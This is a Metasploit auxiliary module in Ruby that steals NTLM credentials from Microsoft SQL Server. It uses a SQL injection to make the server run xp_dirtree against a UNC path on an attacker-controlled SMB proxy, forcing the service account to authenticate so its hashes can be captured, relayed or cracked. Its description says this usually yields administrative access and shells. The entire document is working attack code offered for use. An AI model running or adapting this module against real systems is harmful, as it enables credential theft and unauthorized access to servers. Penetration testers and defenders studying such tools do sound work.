Microsoft SQL Server SQL Injection NTLM Stealer

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::MSSQL_SQLI  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft SQL Server SQLi NTLM Stealer',  
'Description' => %q{  
This module can be used to help capture or relay the LM/NTLM credentials of the  
account running the remote SQL Server service. The module will use the SQL  
injection from GET_PATH to connect to the target SQL Server instance and execute  
the native "xp_dirtree" or stored procedure. The stored procedures will then  
force the service account to authenticate to the system defined in the SMBProxy  
option. In order for the attack to be successful, the SMB capture or relay module  
must be running on the system defined as the SMBProxy. The database account used to  
connect to the database should only require the "PUBLIC" role to execute.  
Successful execution of this attack usually results in local administrative access  
to the Windows system. Specifically, this works great for relaying credentials  
between two SQL Servers using a shared service account to get shells. However, if  
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables  
and john the ripper.  
},  
'Author' =>  
[  
'nullbind <scott.sutherland[at]netspi.com>',  
'Antti <antti.rantasaari[at]netspi.com>'  
],  
'License' => MSF_LICENSE,  
'References' => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]  
))  
  
register_options(  
[  
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),  
])  
end  
  
def run  
  
# Reminder  
print_status("DONT FORGET to run a SMB capture or relay module!")  
  
# Generate random file name  
rand_filename = Rex::Text.rand_text_alpha(8, bad='')  
  
# Setup query - double escaping backslashes  
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"  
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")  
  
# Execute query to force authentication from backend database to smbproxy  
mssql_query(sql)  
end  
end  
`